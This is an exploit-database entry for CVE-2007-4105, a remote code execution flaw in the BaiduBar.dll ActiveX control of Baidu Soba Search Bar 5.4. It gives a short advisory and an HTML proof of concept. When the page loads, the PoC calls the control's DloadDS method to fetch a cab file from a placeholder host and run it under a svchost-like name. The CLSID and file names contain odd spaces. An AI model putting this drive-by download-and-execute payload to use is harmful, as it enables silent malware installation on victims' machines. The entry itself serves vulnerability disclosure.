Baidu Soba Search Bar 5.4 - 'BaiduBar.dll' ActiveX Control Remote Code Execution

🗓️ 29 Jul 2007 00:00:00Reported by cocoruderType

Baidu Soba Search Bar 5.4 ActiveX Control Remote Code Executio

Reporter	Title	Published	Views	Family All 7
Circl	CVE-2007-4105	9 Sep 202521:02	–	circl
CVE	CVE-2007-4105	31 Jul 200710:00	–	cve
Cvelist	CVE-2007-4105	31 Jul 200710:00	–	cvelist
EUVD	EUVD-2007-4089	7 Oct 202500:30	–	euvd
NVD	CVE-2007-4105	31 Jul 200710:17	–	nvd
Prion	Remote file inclusion	31 Jul 200710:17	–	prion
VulnCheck KEV	VulnCheck KEV: CVE-2007-4105	1 Sep 201100:00	–	vulncheck_kev

source: https://www.securityfocus.com/bid/25121/info

An ActiveX control installed with Baidu Soba search bar is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute hostile code on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer). Successful exploits will allow attackers to execute arbitrary code with the privileges of the affected user; other consequences are possible.

This issue affects Baidu Soba 5.4; other versions may also be affected.

<html>
<head>

<script>

function DowndloadCalcAndRun()
{

com.DloadDS("http://www.example.com/svcho st.cab", "svch ost.exe", 0);

}

</script>
</head>
<OBJECT ID = "com" CLASSID = "CLSID:{A7F05EE 4-0426-454F-8013-C41E 3596E9E9}">
</OBJECT>
<script>
DowndloadCalcAndRun()
</script>
</html>

23 Dec 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 29.3

EPSS0.07325